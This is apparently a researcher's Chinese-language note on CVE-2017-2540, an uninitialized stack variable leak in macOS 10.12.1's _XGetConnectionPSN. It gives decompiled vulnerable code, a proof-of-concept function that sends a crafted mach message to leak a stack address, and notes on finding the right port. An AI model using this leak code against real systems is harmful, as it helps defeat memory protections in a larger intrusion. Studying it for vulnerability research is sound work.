CVE-2017-2540 _XGetConnectionPSN info leak

basic info

uninitialized stack var –> info leak
macOS 10.12.1

vuln

_FindProcessRecByConnectionID 调用失败后,会用未初始化的栈变量做赋值操作,导致信息泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
NDR_record_t __usercall _XGetConnectionPSN@<rax>(__int64 a1@<rax>, _DWORD *a2@<rdi>, __int64 a3@<rsi>)
{
__int64 savedregs; // ST08_8
__int64 v4; // rax
__int64 v5; // rdx
__int64 v6; // rcx
NDR_record_t result; // rax

savedregs = a1;
if ( *a2 < 0 || a2[1] != 0x24 )
{
*(_DWORD *)(a3 + 32) = -304;
result = NDR_record;
*(NDR_record_t *)(a3 + 24) = NDR_record;
}
else
{
v4 = FindProcessRecByConnectionID((unsigned int)a2[8]);
if ( v4 )
{
v6 = *(_QWORD *)(v4 + 4);
v5 = *(_QWORD *)(v4 + 4) >> 32;
}
*(_DWORD *)(a3 + 0x24) = v6;
*(_DWORD *)(a3 + 0x28) = v5; // uninitialized
*(_DWORD *)(a3 + 0x20) = 0;
result = NDR_record;
*(NDR_record_t *)(a3 + 24) = NDR_record;
*(_DWORD *)(a3 + 4) = 44;
}
return result;
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void leak_addr()
{
mach_msg_return_t ret;
leak_msg_t message;
mach_port_t replyPort = mig_get_reply_port();
memset(&message, 0, sizeof(message));
message.header.msgh_remote_port = getport;
message.header.msgh_local_port = replyPort;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
message.header.msgh_size = 36;
message.header.msgh_id = 0x7210 + 0xff;
message.NDR = NDR_record;
message.size = 0;
message.leak_addr = 0x1337; //if trigger leak bug successfully, it will be change to stack value.
ret = mach_msg(&(message.header), MACH_SEND_MSG | MACH_RCV_MSG,
36, 0xffff, replyPort,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

if(ret != MACH_MSG_SUCCESS) {
NSLog(@"mach_msg fail.\n");
mach_error("mach_msg:" , ret);
}
stack_addr = 0x7fff00000000 | message.leak_addr;
}

写poc的时候发现一个问题,使用之前和fontd交互的代码获取port,然后填充mach msgremote port 无法触发漏洞,问了下brightiup得到了答案:

1
你获取的这个port是这个mach服务的port,他这个代码里面通过funcptr获得的port是一个对象的port可以理解为一个上下文。其实那个funcptr应该是CGSCreateLayerContext函数。

我获取到的port是没有上下文的,所以无法触发漏洞路径。

重新看了完整利用后,发现这个offset对应的函数应该是 CGSGetConnectionPortById

reference

zer0con2018_singi